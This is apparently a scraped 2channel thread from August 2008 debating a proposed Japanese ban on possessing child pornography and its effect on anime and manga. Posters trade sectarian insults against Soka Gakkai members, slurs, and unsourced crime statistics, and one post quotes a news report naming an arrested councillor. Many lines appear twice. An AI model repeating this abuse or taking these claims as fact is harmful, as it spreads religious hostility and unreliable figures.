というような活動報告で埋まるぐらいでないと
規制が成立してしまうのではないかな♪
197 ：名無しさん＠九周年：2008/08/20(水) 10:54:49 ID:YlgCvaYH0
社会不安を作る→信者を増やす→だまされた信者が政治活動に興味を持つように促す→最初に戻り以下ループ
ねずみ講と同じ構造なんだけど小泉信者や草加信者はアフォだから気づかないんだろうな・・・・
ホント困ったもんだ
典型的かつ古典的手法マンマなのに
この流れを断つには信者が自律すればいいんだけど数が多い年寄りほど
異常なほど政府マンセーだしな
ねずみ講と同じ構造なんだけど小泉信者や草加信者はアフォだから気づかないんだろうな・・・・
ホント困ったもんだ
典型的かつ古典的手法マンマなのに
この流れを断つには信者が自律すればいいんだけど数が多い年寄りほど
異常なほど政府マンセーだしな
198 ：名無しさん＠九周年：2008/08/20(水) 10:54:52 ID:YI9eeaXPO
>>188
国の面子の為に人生棒に振れってか
国の面子の為に人生棒に振れってか
199 ：名無しさん＠九周年：2008/08/20(水) 10:55:11 ID:OWKzbsIhO
規制賛成派の儲(笑)くん達は早く
法改正のメリットとデメリットを論理的に書き込んで下さいよ。
じゃないと草加ネット工作員の疑惑が残ってしまうんだが？(･´ω)
法改正のメリットとデメリットを論理的に書き込んで下さいよ。
じゃないと草加ネット工作員の疑惑が残ってしまうんだが？(･´ω)
200 ：名無しさん＠九周年：2008/08/20(水) 10:55:13 ID:jxPgGTFl0
201 ：名無しさん＠九周年：2008/08/20(水) 10:55:19 ID:rBiyeolN0
203 ：名無しさん＠九周年：2008/08/20(水) 10:55:32 ID:goo4DzbW0
>>192
＞予備軍どころか所持してる時点で実行犯だ。所持すること自体が虐待幇助だよ。
それは、ただの言葉遊びだね。
拳銃は、指で引き金引けば、即人が死ぬから、特別に所持の段階で規制される。
児ポは、所持しようが床に叩き付けようが、即レイプに繋がるわけじゃない。
全く性質が違う。
＞予備軍どころか所持してる時点で実行犯だ。所持すること自体が虐待幇助だよ。
それは、ただの言葉遊びだね。
拳銃は、指で引き金引けば、即人が死ぬから、特別に所持の段階で規制される。
児ポは、所持しようが床に叩き付けようが、即レイプに繋がるわけじゃない。
全く性質が違う。
204 ：名無しさん＠九周年：2008/08/20(水) 10:55:44 ID:FRHAcjwv0
>>192
紙とインクを虐待か。面白い発想だな。
紙とインクを虐待か。面白い発想だな。
漫画・アニメ・ゲーム業界は何も言わんのか、ボケ！
207 ：名無しさん＠九周年：2008/08/20(水) 10:56:33 ID:q/mKxkERO
208 ：名無しさん＠九周年：2008/08/20(水) 10:57:17 ID:651Ef1zrO
>>188
アメリカのいくつかの州やオランダみたいに売春の合法化ですね。
無修正ポルノも解禁。
そういえばオランダでは16歳以上の売春とポルノ出演は合法だけど
これを輸入したらアメリカや他のEU諸国ではどうなるんだろ？
アメリカのいくつかの州やオランダみたいに売春の合法化ですね。
無修正ポルノも解禁。
そういえばオランダでは16歳以上の売春とポルノ出演は合法だけど
これを輸入したらアメリカや他のEU諸国ではどうなるんだろ？
子供を持つ親としては、
いつ自分の子供に性的暴力をふるうかもしれない、児童性犯罪者予備軍を、
水際で食い止める事が可能なこの法律には大賛成。
いつ自分の子供に性的暴力をふるうかもしれない、児童性犯罪者予備軍を、
水際で食い止める事が可能なこの法律には大賛成。
211 ：名無しさん＠九周年：2008/08/20(水) 10:59:19 ID:OWKzbsIhO
普通に成立しなさそうだなコレｗ
法律に詳しい政治家は全員違憲だと言って反対してるし
法律に疎い脳内お花畑の創価や利権が欲しい政治家だけが賛成してる
ココにいる賛成派は一度も論理的な答えを言わないし創価学会の過剰な妄想活動
法律に詳しい政治家は全員違憲だと言って反対してるし
法律に疎い脳内お花畑の創価や利権が欲しい政治家だけが賛成してる
ココにいる賛成派は一度も論理的な答えを言わないし創価学会の過剰な妄想活動
213 ：名無しさん＠九周年：2008/08/20(水) 10:59:34 ID:YlgCvaYH0
>>200
>>197でも読んでくれ
そもそもアフォどもを当選させたのはおれらじゃないし
９回の裏の１５点ビハインドでツーアウトランナーなしで
代打で送り出されたような状況で全責任負わされても困るし
ねずみ講の末端で不利益被らさせられるのも目に見えてるからパス
>>197でも読んでくれ
そもそもアフォどもを当選させたのはおれらじゃないし
９回の裏の１５点ビハインドでツーアウトランナーなしで
代打で送り出されたような状況で全責任負わされても困るし
ねずみ講の末端で不利益被らさせられるのも目に見えてるからパス
214 ：名無しさん＠九周年：2008/08/20(水) 10:59:34 ID:2PxzhvjD0
この国には売国奴政治家が一杯いる。 そいつらにいい様に使われてしまう。
もちろんカルト層化にも。
もちろんカルト層化にも。
おれは従順な犬として生きるぐらいなら、
ロリコンとして生きるほうがはるかにいい。
ロリコンとして生きるほうがはるかにいい。
216 ：名無しさん＠九周年：2008/08/20(水) 11:00:11 ID:d8gUr3oL0
>>208
妄想を取り締まる気？
妄想を取り締まる気？
218 ：名無しさん＠九周年：2008/08/20(水) 11:00:58 ID:LYJG4/0F0
どうでもいいけど、創価叩きをしてる連中に言いたいのは、学会員の漫画家やアニメ業界人なんて、
それほどくさるほどいるわけなんだがｗｗｗ
君達はその人達まで叩けるわけ？
それほどくさるほどいるわけなんだがｗｗｗ
君達はその人達まで叩けるわけ？
219 ：名無しさん＠九周年：2008/08/20(水) 11:01:24 ID:651Ef1zrO
220 ：名無しさん＠九周年：2008/08/20(水) 11:01:55 ID:7jo0ogr4O
冤罪でヤクザが捕まる可能性が高いものであれば、必死になるわな。
>>218は創価
やはり規制派は感情でしか考えられんか。
223 ：名無しさん＠九周年：2008/08/20(水) 11:02:54 ID:3orsUuP20
ちょっと相手の反応が気に入らない、思ったような手ごたえがないとわかった途端に
工作員乙、儲乙ｗｗｗｗｗｗｗｗｗｗｗｗ
表現の自由を守る正義の規制反対派様方(笑)の程度が知れたって感じｗｗｗｗ
工作員乙、儲乙ｗｗｗｗｗｗｗｗｗｗｗｗ
表現の自由を守る正義の規制反対派様方(笑)の程度が知れたって感じｗｗｗｗ
224 ：名無しさん＠九周年：2008/08/20(水) 11:02:59 ID:YlgCvaYH0
225 ：名無しさん＠九周年：2008/08/20(水) 11:03:04 ID:FMQlTvPh0
226 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 11:03:05 ID:IqpFU/RNO
>>212
現実世界で規制の話しが続けられている要因の一つに
匿名の規制反対派の他力本願な態度があるとは思いませんか？
その態度が、規制反対予備軍を呆れさせて離脱させてしまい、
また規制賛成派を勢いづかせる原因になっている、と思いませんか？
匿名の規制反対派が規制反対派の減衰要因になる、ということではないのかな？
「わたくし、○○○○は児童ポルノの
単純所持処罰は行き過ぎだと思うので廃案を求めます。」
というような感じで次々に名乗りをあげるぐらいでないと
規制が成立してしまうのではないかな♪
このスレが、
「わたくし、○○○○は本日○○○○で○○活動をしました」
というような活動報告で埋まるぐらいでないと
規制が成立してしまうのではないかな♪
現実世界で規制の話しが続けられている要因の一つに
匿名の規制反対派の他力本願な態度があるとは思いませんか？
その態度が、規制反対予備軍を呆れさせて離脱させてしまい、
また規制賛成派を勢いづかせる原因になっている、と思いませんか？
匿名の規制反対派が規制反対派の減衰要因になる、ということではないのかな？
「わたくし、○○○○は児童ポルノの
単純所持処罰は行き過ぎだと思うので廃案を求めます。」
というような感じで次々に名乗りをあげるぐらいでないと
規制が成立してしまうのではないかな♪
このスレが、
「わたくし、○○○○は本日○○○○で○○活動をしました」
というような活動報告で埋まるぐらいでないと
規制が成立してしまうのではないかな♪
227 ：名無しさん＠九周年：2008/08/20(水) 11:03:05 ID:q/mKxkERO
>>210
子供からしたら、いつ親がはめられるかわからない法律なんて怖くてしょうがないんですが
子供からしたら、いつ親がはめられるかわからない法律なんて怖くてしょうがないんですが
228 ：名無しさん＠九周年：2008/08/20(水) 11:03:12 ID:goo4DzbW0
229 ：名無しさん＠九周年：2008/08/20(水) 11:03:17 ID:puGk+Tzn0
230 ：名無しさん＠九周年：2008/08/20(水) 11:03:28 ID:fMUl6W1F0
アニメやゲームも学園ものは全面禁止にしてほしい
ああいうのが性犯罪を生み出してる元凶でしょ
ああいうのが性犯罪を生み出してる元凶でしょ
231 ：名無しさん＠九周年：2008/08/20(水) 11:03:38 ID:OWKzbsIhO
232 ：名無しさん＠九周年：2008/08/20(水) 11:04:05 ID:Xwf4Z4/A0
もしかしてお前ら涙目？
233 ：名無しさん＠九周年：2008/08/20(水) 11:04:16 ID:WvPt3ejzO
>212
反対派以外は賛成派になっちゃうのかよｗ
オタが面白いので覗いているが正直どっちでもいい
反対派以外は賛成派になっちゃうのかよｗ
オタが面白いので覗いているが正直どっちでもいい
この法案通ったらニコニコとか画像サイトはどうすんの？
エロ釣り静止画MADは削除対象以前に、逮捕対象になってしまぅん？
それともこの法案は主に個人が対象で組織には介入しないとか？
エロ釣り静止画MADは削除対象以前に、逮捕対象になってしまぅん？
それともこの法案は主に個人が対象で組織には介入しないとか？
235 ：名無しさん＠九周年：2008/08/20(水) 11:04:46 ID:Y/mKMrNs0
こういうのだったら規制したくなるよ
ttp://www7.uploader.jp/user/es335/images/es335_uljp00102.jpg
ttp://www7.uploader.jp/user/es335/images/es335_uljp00102.jpg
236 ：名無しさん＠九周年：2008/08/20(水) 11:04:53 ID:jxPgGTFl0
>>211
法律に興味があり、かつ反対派がおもろいからだよｗ
俺は単純所持の危険性はよくわかっとるよ。
反対派の言うことの方が一理ある。
そこが滑稽だよな。
一理ある方がいとも簡単にねじ伏せられようとしている。
アホアホバーカとか叫びながら踏み潰されようとしている。
ここで叫んでる場合かと思ってしまうぞｗ
法律に興味があり、かつ反対派がおもろいからだよｗ
俺は単純所持の危険性はよくわかっとるよ。
反対派の言うことの方が一理ある。
そこが滑稽だよな。
一理ある方がいとも簡単にねじ伏せられようとしている。
アホアホバーカとか叫びながら踏み潰されようとしている。
ここで叫んでる場合かと思ってしまうぞｗ
対象のPCにフォルダを作成し、児童ポルノ画像を保存。
保存に成功したらそのまま警察に通報。
「この人犯罪者ですよ」
或いは、鞄の中に勝手にそのような物を入れられる。
こういう事例にどう対処するのかね。
保存に成功したらそのまま警察に通報。
「この人犯罪者ですよ」
或いは、鞄の中に勝手にそのような物を入れられる。
こういう事例にどう対処するのかね。
238 ：名無しさん＠九周年：2008/08/20(水) 11:06:10 ID:YlgCvaYH0
>>231
神戸新聞にも教師の性犯罪率は一般人の15倍と統計つきででてたし
近親間の虐待の増加も頻繁に問題になってるのにね
普通の思考力があればアニメ規制で効果があるなんてありえないの
分かるのに盲信って怖いよね
神戸新聞にも教師の性犯罪率は一般人の15倍と統計つきででてたし
近親間の虐待の増加も頻繁に問題になってるのにね
普通の思考力があればアニメ規制で効果があるなんてありえないの
分かるのに盲信って怖いよね
239 ：名無しさん＠九周年：2008/08/20(水) 11:06:30 ID:Xwf4Z4/A0
240 ：名無しさん＠九周年：2008/08/20(水) 11:06:56 ID:LYJG4/0F0
>>229
君の好きな漫画家や声優も、もしかしたら学会員かもしれないけど、
だったらどうするの？
ファンやめるの？
>>227
しかしね、二次で青少年を性欲の対象にしているオタク女もいるわけよ
そういう今まで顕在化してきていない危険因子も一網打尽に取り締まれたら、素敵だと思わない？
息子さんを持つ親御さんに大朗報だよ
君の好きな漫画家や声優も、もしかしたら学会員かもしれないけど、
だったらどうするの？
ファンやめるの？
>>227
しかしね、二次で青少年を性欲の対象にしているオタク女もいるわけよ
そういう今まで顕在化してきていない危険因子も一網打尽に取り締まれたら、素敵だと思わない？
息子さんを持つ親御さんに大朗報だよ
241 ：名無しさん＠九周年：2008/08/20(水) 11:07:58 ID:rBiyeolN0
>>240
女に関しては空気見つつだと思うが
女に関しては空気見つつだと思うが
>>239
手に入れ易さが違う。
手に入れ易さが違う。
>>237
そういう冤罪の可能性は、法律を運用していく中でつぶして、改善すれば良いと思う。
そういう冤罪の可能性は、法律を運用していく中でつぶして、改善すれば良いと思う。
>>239
麻薬はネット回線で送れないからなぁ
麻薬はネット回線で送れないからなぁ
246 ：名無しさん＠九周年：2008/08/20(水) 11:08:59 ID:q/mKxkERO
247 ：名無しさん＠九周年：2008/08/20(水) 11:09:11 ID:FMQlTvPh0
248 ：名無しさん＠九周年：2008/08/20(水) 11:09:17 ID:BZtUCD1c0
規制派こそロリコン。
公明党議員を逮捕!15〜17歳の少女を買春!ホテルで3P
http://society.2ch.net/test/read.cgi/giin/1033060431/
●公明ロリコン議員、Ｈ行為をビデオ撮り●
15−17歳の少女４人を買春したとして、
児童買春・ポルノ処罰法違反の疑いで警視庁に逮捕された公明党の江戸川区議、松本弘芳容疑者（48）。
あっせん業者から紹介された少女相手に買春を繰り返していたロリコン区議は、
…略…、少女とのＨ行為をせっせとビデオ撮影。
少女の名前や日付をつけてきちんとテープに保存していたという。
調べによると、松本容疑者は７月４日、売春クラブから、15歳と16歳の女子高１年生２人の紹介を受け、
現金10万円で荒川区内のホテルで３Ｐをしていた疑い。
「容疑者は、このほかにも『複数の少女を合わせて20数回買春し、ビデオに撮影した』と供述しています」。
区議会では文教委員会に所属。
青少年健全育成などもテーマにした委員会にいながら、自ら少女たちを毒牙にかけていたのだ。
…略…。
“特技”のビデオでは、逮捕直前の８日までドイツやフランスを訪れた海外視察でビデオ撮影班を担当していたが、
周りの区議たちに“ボロ”を出すことはなかった。
http://www.zakzak.co.jp/top/3t2000111401.html
公明党議員を逮捕!15〜17歳の少女を買春!ホテルで3P
http://society.2ch.net/test/read.cgi/giin/1033060431/
●公明ロリコン議員、Ｈ行為をビデオ撮り●
15−17歳の少女４人を買春したとして、
児童買春・ポルノ処罰法違反の疑いで警視庁に逮捕された公明党の江戸川区議、松本弘芳容疑者（48）。
あっせん業者から紹介された少女相手に買春を繰り返していたロリコン区議は、
…略…、少女とのＨ行為をせっせとビデオ撮影。
少女の名前や日付をつけてきちんとテープに保存していたという。
調べによると、松本容疑者は７月４日、売春クラブから、15歳と16歳の女子高１年生２人の紹介を受け、
現金10万円で荒川区内のホテルで３Ｐをしていた疑い。
「容疑者は、このほかにも『複数の少女を合わせて20数回買春し、ビデオに撮影した』と供述しています」。
区議会では文教委員会に所属。
青少年健全育成などもテーマにした委員会にいながら、自ら少女たちを毒牙にかけていたのだ。
…略…。
“特技”のビデオでは、逮捕直前の８日までドイツやフランスを訪れた海外視察でビデオ撮影班を担当していたが、
周りの区議たちに“ボロ”を出すことはなかった。
http://www.zakzak.co.jp/top/3t2000111401.html
249 ：名無しさん＠九周年：2008/08/20(水) 11:09:38 ID:YlgCvaYH0
>>236
＞一理ある方がいとも簡単にねじ伏せられようとしている。
今日は仏罰がナンチャラとかいわないの？ｗ
＞アホアホバーカとか叫びながら踏み潰されようとしている。
本当にレス読んでればレッテル貼ってるのは規制推進派だと分かるはずですよ
信者さんｗバレバレなのにいたい人だね
今の若者は情報に囲まれてるんだから昔みたいにねずみ講の被害者は増えないよｗ
＞一理ある方がいとも簡単にねじ伏せられようとしている。
今日は仏罰がナンチャラとかいわないの？ｗ
＞アホアホバーカとか叫びながら踏み潰されようとしている。
本当にレス読んでればレッテル貼ってるのは規制推進派だと分かるはずですよ
信者さんｗバレバレなのにいたい人だね
今の若者は情報に囲まれてるんだから昔みたいにねずみ講の被害者は増えないよｗ
250 ：名無しさん＠九周年：2008/08/20(水) 11:09:42 ID:LYJG4/0F0
>>238
小学校は女性教諭が多い。
その女性教諭がＢＬやショタといったオタク文化の愛好者だったらとしたら、
息子を持つ親御さんはどう思うのかな？
二次を規制することで、そういった変態をあぶりだせる訳ですから、理にかなっている。
小学校は女性教諭が多い。
その女性教諭がＢＬやショタといったオタク文化の愛好者だったらとしたら、
息子を持つ親御さんはどう思うのかな？
二次を規制することで、そういった変態をあぶりだせる訳ですから、理にかなっている。
252 ：名無しさん＠九周年：2008/08/20(水) 11:10:35 ID:OWKzbsIhO
規制派は反対派の正論には耳を塞いで
アーアー叫ぶしかないんですねｗｗ
これだけ反対派が論理的に危険性を提示しても
聞こえないふり（？)をするカルト儲(笑)くんｗｗｗ
アーアー叫ぶしかないんですねｗｗ
これだけ反対派が論理的に危険性を提示しても
聞こえないふり（？)をするカルト儲(笑)くんｗｗｗ
253 ：名無しさん＠九周年：2008/08/20(水) 11:10:45 ID:d8gUr3oL0
>>243脳タリン乙。賛成派は全部それか
254 ：名無しさん＠九周年：2008/08/20(水) 11:11:03 ID:aVF/mK2L0
>>208
DQNの下の世話までは知らんがな
実際に強姦して殺して山中に棄てたんなら、それはもう凶悪犯罪者だが
妄想する事自体は別に違法でも異常でもないぞ
実際に行動に移したら犯罪者、線引きはそれで充分だと思うがな
DQNの下の世話までは知らんがな
実際に強姦して殺して山中に棄てたんなら、それはもう凶悪犯罪者だが
妄想する事自体は別に違法でも異常でもないぞ
実際に行動に移したら犯罪者、線引きはそれで充分だと思うがな
255 ：名無しさん＠九周年：2008/08/20(水) 11:11:10 ID:Xwf4Z4/A0
>>242
それは現状、麻薬ほど厳しく取り締まられてるものじゃないからでそ？
児童ポルノが是か非かといえば、俺は非だと思うよ
取り締まりの手法はまた別問題だけどね
>>244
説得力なし
陰謀論を信じちゃうタイプ？
それは現状、麻薬ほど厳しく取り締まられてるものじゃないからでそ？
児童ポルノが是か非かといえば、俺は非だと思うよ
取り締まりの手法はまた別問題だけどね
>>244
説得力なし
陰謀論を信じちゃうタイプ？
256 ：名無しさん＠九周年：2008/08/20(水) 11:11:36 ID:goo4DzbW0
257 ：名無しさん＠九周年：2008/08/20(水) 11:12:07 ID:7jo0ogr4O
ヤクザどうしで冤罪作りあって、消えてしまってくれ。
258 ：名無しさん＠九周年：2008/08/20(水) 11:12:22 ID:YlgCvaYH0
>>250
実際に三十路の女教師が少年を強姦したら被害者は女教師だの詭弁の
オンパレードだったわけだが
テメーらの性犯罪は放置しておいて男に対しては実際の無いアニメ所持で懲役が
当然という
まさに基地外だな
実際に三十路の女教師が少年を強姦したら被害者は女教師だの詭弁の
オンパレードだったわけだが
テメーらの性犯罪は放置しておいて男に対しては実際の無いアニメ所持で懲役が
当然という
まさに基地外だな
259 ：名無しさん＠九周年：2008/08/20(水) 11:12:37 ID:LYJG4/0F0
>>241
現行法では男児の児童ポルノも規制の対象
二次元では、女性向けに男児の児童ポルノの巨大なマーケットがある
これで、ＢＬやショタといったオタク文化が取り締まられないなら、
息子を持つ親達が暴動を起こしますよ？
私は、息子を持つ親御さんのために、二次元の女性向け男児児童のポルノの恐怖と
巨大さをどんどん啓蒙していきたいと思っております
現行法では男児の児童ポルノも規制の対象
二次元では、女性向けに男児の児童ポルノの巨大なマーケットがある
これで、ＢＬやショタといったオタク文化が取り締まられないなら、
息子を持つ親達が暴動を起こしますよ？
私は、息子を持つ親御さんのために、二次元の女性向け男児児童のポルノの恐怖と
巨大さをどんどん啓蒙していきたいと思っております
260 ：名無しさん＠九周年：2008/08/20(水) 11:12:42 ID:iEJorCPP0
261 ：名無しさん＠九周年：2008/08/20(水) 11:13:00 ID:qZMjKIN3O
単純所持を禁止した国では児童強姦数がうなぎ登りらしいね
世界にいい顔したいだけであって、子供を守る気なんてさらさらないんだろうな
世界にいい顔したいだけであって、子供を守る気なんてさらさらないんだろうな
>>255
麻薬って薬品名等で厳密に定義されてるの知ってる？
麻薬って薬品名等で厳密に定義されてるの知ってる？
263 ：名無しさん＠九周年：2008/08/20(水) 11:13:27 ID:DyZAk86g0
他人の頭の中まで思いどうりにしたい人が沢山いるのに驚くね。
264 ：名無しさん＠九周年：2008/08/20(水) 11:13:32 ID:Xwf4Z4/A0
265 ：名無しさん＠九周年：2008/08/20(水) 11:13:35 ID:/aPLsBdf0
ロリコン涙目
266 ：名無しさん＠九周年：2008/08/20(水) 11:14:16 ID:q/mKxkERO
>>240
危険因子とともに一般人まで一網打尽にする法律なんて素敵すぎて反吐が出ます。
ていうか顕在化してない危険因子って要はただ妄想してる人じゃん。
それを法で取り締まるの？
いやー素敵素敵。素敵な脳みそ。
危険因子とともに一般人まで一網打尽にする法律なんて素敵すぎて反吐が出ます。
ていうか顕在化してない危険因子って要はただ妄想してる人じゃん。
それを法で取り締まるの？
いやー素敵素敵。素敵な脳みそ。
法改正が成立しても単純所持禁止で逮捕された第一号が裁判所に訴えたら違憲で終了だろ
創価は法律に疎すぎるよ
創価は法律に疎すぎるよ
268 ：名無しさん＠九周年：2008/08/20(水) 11:14:23 ID:goo4DzbW0
269 ：名無しさん＠九周年：2008/08/20(水) 11:14:30 ID:rpksZtF50
規制きたらポニョとかもビデオ化無しかもな〜
270 ：名無しさん＠九周年：2008/08/20(水) 11:14:54 ID:OWKzbsIhO
>>256
規制派的には麻薬が街歩いてるようなもんだなｗｗ
規制派的には麻薬が街歩いてるようなもんだなｗｗ
271 ：名無しさん＠九周年：2008/08/20(水) 11:15:36 ID:BZtUCD1c0
>>251
作ってみなければわからないんだそうだw
【人権擁護法案】法務省「つくってみないと分からない」・・・人権問題調査会で批判続出★２
http://mamono.2ch.net/test/read.cgi/newsplus/1206797930/l50
作ってみなければわからないんだそうだw
【人権擁護法案】法務省「つくってみないと分からない」・・・人権問題調査会で批判続出★２
http://mamono.2ch.net/test/read.cgi/newsplus/1206797930/l50
272 ：名無しさん＠九周年：2008/08/20(水) 11:15:44 ID:jxPgGTFl0
>>249
うはーｗｗ 思い込み激しい人ねぇｗ
俺はオマエらの方が一理あるって言ってんだよｗ
しかし現実世界で踏み潰されそうになってるのはお前らだろｗ
それをお前らはどう処理しようと思ってるんだってことだよ。
俺が宗教がらみだとして絶対に説得できないオマエラに工作して何の意味があるんだｗｗ
うはーｗｗ 思い込み激しい人ねぇｗ
俺はオマエらの方が一理あるって言ってんだよｗ
しかし現実世界で踏み潰されそうになってるのはお前らだろｗ
それをお前らはどう処理しようと思ってるんだってことだよ。
俺が宗教がらみだとして絶対に説得できないオマエラに工作して何の意味があるんだｗｗ
273 ：名無しさん＠九周年：2008/08/20(水) 11:15:45 ID:FRHAcjwv0
“見た目児童”まで規制対象なんだから、どこで線引くんだよ！？
明確でないなら地雷踏みたくないから、国民は当然萎縮するだろ！
23歳の女優が出した女子高生物AVも規制対象ですか！？
明確でないなら地雷踏みたくないから、国民は当然萎縮するだろ！
23歳の女優が出した女子高生物AVも規制対象ですか！？
274 ：名無しさん＠九周年：2008/08/20(水) 11:16:23 ID:Xwf4Z4/A0
>>262
定義がないわけないじゃん
定義がないわけないじゃん
275 ：名無しさん＠九周年：2008/08/20(水) 11:16:32 ID:LYJG4/0F0
>>238
中学生でも危険ですよね。
ジャニーズだのを見ていると、その年代の少年を性欲の対象としているインモラルな女も多い。
偏見かもしれないですけど、そういった女はオタク趣味の愛好者が多いような気がします。
本当は、１８歳未満のジャニーズアイドルが、コンサートのバックダンサーも
含めた芸能活動を行えないように規制するべきだと思うのですが。
そうすれば、学業との両立も可能となりますからね。
中学生でも危険ですよね。
ジャニーズだのを見ていると、その年代の少年を性欲の対象としているインモラルな女も多い。
偏見かもしれないですけど、そういった女はオタク趣味の愛好者が多いような気がします。
本当は、１８歳未満のジャニーズアイドルが、コンサートのバックダンサーも
含めた芸能活動を行えないように規制するべきだと思うのですが。
そうすれば、学業との両立も可能となりますからね。
276 ：名無しさん＠九周年：2008/08/20(水) 11:16:43 ID:q/mKxkERO
>>251
>>253
最初は、確実な事例だけを取り締まればよいと思う。
たとえば、児童アダルトサイトでの買い物の記録が残っている事例に絞って取り締まる。
で、徐々にポルノ画像コピーウイルスに対するアンチウイルスソフトの開発や
不正ポルノ画像コピー防止技術などを開発して、技術的改善を行って
冤罪の可能性がない範囲を拡大して、取締の範囲を広げていけばよい。
>>253
最初は、確実な事例だけを取り締まればよいと思う。
たとえば、児童アダルトサイトでの買い物の記録が残っている事例に絞って取り締まる。
で、徐々にポルノ画像コピーウイルスに対するアンチウイルスソフトの開発や
不正ポルノ画像コピー防止技術などを開発して、技術的改善を行って
冤罪の可能性がない範囲を拡大して、取締の範囲を広げていけばよい。
278 ：名無しさん＠九周年：2008/08/20(水) 11:17:09 ID:goo4DzbW0
279 ：名無しさん＠九周年：2008/08/20(水) 11:17:43 ID:3V/LVZDsO
お前らどうせ無職で捨てるものがないんだから、大掛かりな反対活動してくれよ
俺は何もしないけど心の中では応援するぞ
俺は何もしないけど心の中では応援するぞ
281 ：名無しさん＠九周年：2008/08/20(水) 11:18:11 ID:BZtUCD1c0
>>269
創価は不問。
創価は不問。
282 ：名無しさん＠九周年：2008/08/20(水) 11:18:48 ID:Xwf4Z4/A0
283 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 11:19:06 ID:IqpFU/RNO
匿名の規制反対派など数には入れられないんじゃないかな？
規制賛成派が反対派に
「反対している人がどれだけいるんですか？」
ときいてきた時に、反対派が匿名の数を盛り込んで答えられるのか？
次々と名乗りをあげて目に見える規制反対派として
カウントしてもらわないと規制が成立してしまうのではないかな？
284 ：名無しさん＠九周年：2008/08/20(水) 11:19:25 ID:SQa8SokZ0
大体この手の趣味趣向を持っているのに限って低学歴で派遣とかの
ゴミクズばっかなんだよなー。さっさとお縄にかかれ犯罪者予備軍。
てめーら日本人か？
ゴミクズばっかなんだよなー。さっさとお縄にかかれ犯罪者予備軍。
てめーら日本人か？
285 ：名無しさん＠九周年：2008/08/20(水) 11:19:39 ID:LYJG4/0F0
>>258
二次元での女性向けの男子児童のポルノのマーケットの巨大さや愛好者の多さを啓蒙し続ければ、
そういった世間の認識は一変すると思います。
息子を持つ母親の力の過小評価はいい加減にしていただきたい
二次元での女性向けの男子児童のポルノのマーケットの巨大さや愛好者の多さを啓蒙し続ければ、
そういった世間の認識は一変すると思います。
息子を持つ母親の力の過小評価はいい加減にしていただきたい
286 ：名無しさん＠九周年：2008/08/20(水) 11:20:11 ID:aVF/mK2L0
>>250
女性教諭が男子中学生に性的関係を強要したってニュースは見た事あるが、それがオタク文化に起因するものであると解明された訳じゃないだろ
つまり「性欲」そのものを問題視してると解釈すれば良いのか？
脳改造でもするのか？
女性教諭が男子中学生に性的関係を強要したってニュースは見た事あるが、それがオタク文化に起因するものであると解明された訳じゃないだろ
つまり「性欲」そのものを問題視してると解釈すれば良いのか？
脳改造でもするのか？
287 ：名無しさん＠九周年：2008/08/20(水) 11:20:40 ID:Hd9lKsxo0
>>284
この手の趣味を持ってないのに、逮捕される可能性があるから反対してるの。
この手の趣味を持ってないのに、逮捕される可能性があるから反対してるの。
288 ：名無しさん＠九周年：2008/08/20(水) 11:20:45 ID:BZtUCD1c0
単純所持と性犯罪は、因果関係がはっきりしているの？
まさかポルノというイメージだけで事を進めていないよね。？
289 ：名無しさん＠九周年：2008/08/20(水) 11:21:09 ID:goo4DzbW0
290 ：名無しさん＠九周年：2008/08/20(水) 11:21:36 ID:q/mKxkERO
>>284
スレ読んでから書き込めタコ
スレ読んでから書き込めタコ
292 ：名無しさん＠九周年：2008/08/20(水) 11:22:24 ID:Q72Om7uGO
どうやら、本当の目的はヲタの財布か
車や旅行がうれないから
法律の適用第１号はジブリ作品というのは常識だから
車や旅行がうれないから
法律の適用第１号はジブリ作品というのは常識だから
293 ：名無しさん＠九周年：2008/08/20(水) 11:22:24 ID:9jK4nUtQO
普段パソコンを使っている人間ならデジタル情報の単純所持禁止になど安易に賛成できるはずありません。
普段、どれほどネットに蔓延するウイルスの脅威に晒されているかを身をもって知っているからです。
セキュリティソフトでさえ日々進歩するウイルスの対処には追いつけません。
特に恐いのは海外サイトをネットサーフィンする時に、意図せずして（児ポを禁止していない国の）児童ポルノサイトのリンクを踏んでしまう事ですね。
知っていようが知らまいがリンクを踏んだら終わり。
これはそういう法案です。自民派案の撤廃を要求します。
普段、どれほどネットに蔓延するウイルスの脅威に晒されているかを身をもって知っているからです。
セキュリティソフトでさえ日々進歩するウイルスの対処には追いつけません。
特に恐いのは海外サイトをネットサーフィンする時に、意図せずして（児ポを禁止していない国の）児童ポルノサイトのリンクを踏んでしまう事ですね。
知っていようが知らまいがリンクを踏んだら終わり。
これはそういう法案です。自民派案の撤廃を要求します。
294 ：名無しさん＠九周年：2008/08/20(水) 11:23:14 ID:OWKzbsIhO
韓国系キリスト教のチョン保牧師の女児連続レイプってあったよね。
ほかにも全世界で宗教による信者児童レイプは多発してるんですが
規制派の方々は児童に実害のある宗教規制はしないんですか？(笑)
もしかして身内は攻撃できない(？)
ロリコン涙目とか言ってる場合じゃないんだが？
ほかにも全世界で宗教による信者児童レイプは多発してるんですが
規制派の方々は児童に実害のある宗教規制はしないんですか？(笑)
もしかして身内は攻撃できない(？)
ロリコン涙目とか言ってる場合じゃないんだが？
295 ：名無しさん＠九周年：2008/08/20(水) 11:23:22 ID:BZtUCD1c0
>>284
そうやって一方的にレッテルを貼って、取り締まるというのが良くわかりました。
そうやって一方的にレッテルを貼って、取り締まるというのが良くわかりました。
大多数が嫌悪感を持つ児童ポルノから始めようとしてるのが悪質だな。
紛れも無く人権蹂躙の法律なんだが、
反対を声高に叫べば「変態」のレッテル貼られて終了する。
賛成派は「じゃあ声だして反論しろよ」と言うが、
児童ポルノなだけに自由に反論できなくなっている。
本当悪質なやり口だよ。
紛れも無く人権蹂躙の法律なんだが、
反対を声高に叫べば「変態」のレッテル貼られて終了する。
賛成派は「じゃあ声だして反論しろよ」と言うが、
児童ポルノなだけに自由に反論できなくなっている。
本当悪質なやり口だよ。
297 ：名無しさん＠九周年：2008/08/20(水) 11:23:40 ID:iWBvh3JsO
298 ：名無しさん＠九周年：2008/08/20(水) 11:23:43 ID:Xwf4Z4/A0
>>289
写真の指紋を取れば、そこにいたるまで何人が関わったかだいたい分かるじゃん
写真の指紋を取れば、そこにいたるまで何人が関わったかだいたい分かるじゃん
299 ：名無しさん＠九周年：2008/08/20(水) 11:24:24 ID:WvPt3ejzO
ちょｗオタ女にまで責任転換すなｗ
オタ女のショタ趣味は現実の男の趣味とは一致しないんだよ
そもそも少年×大人女の同人誌ってあんまりないだろ？
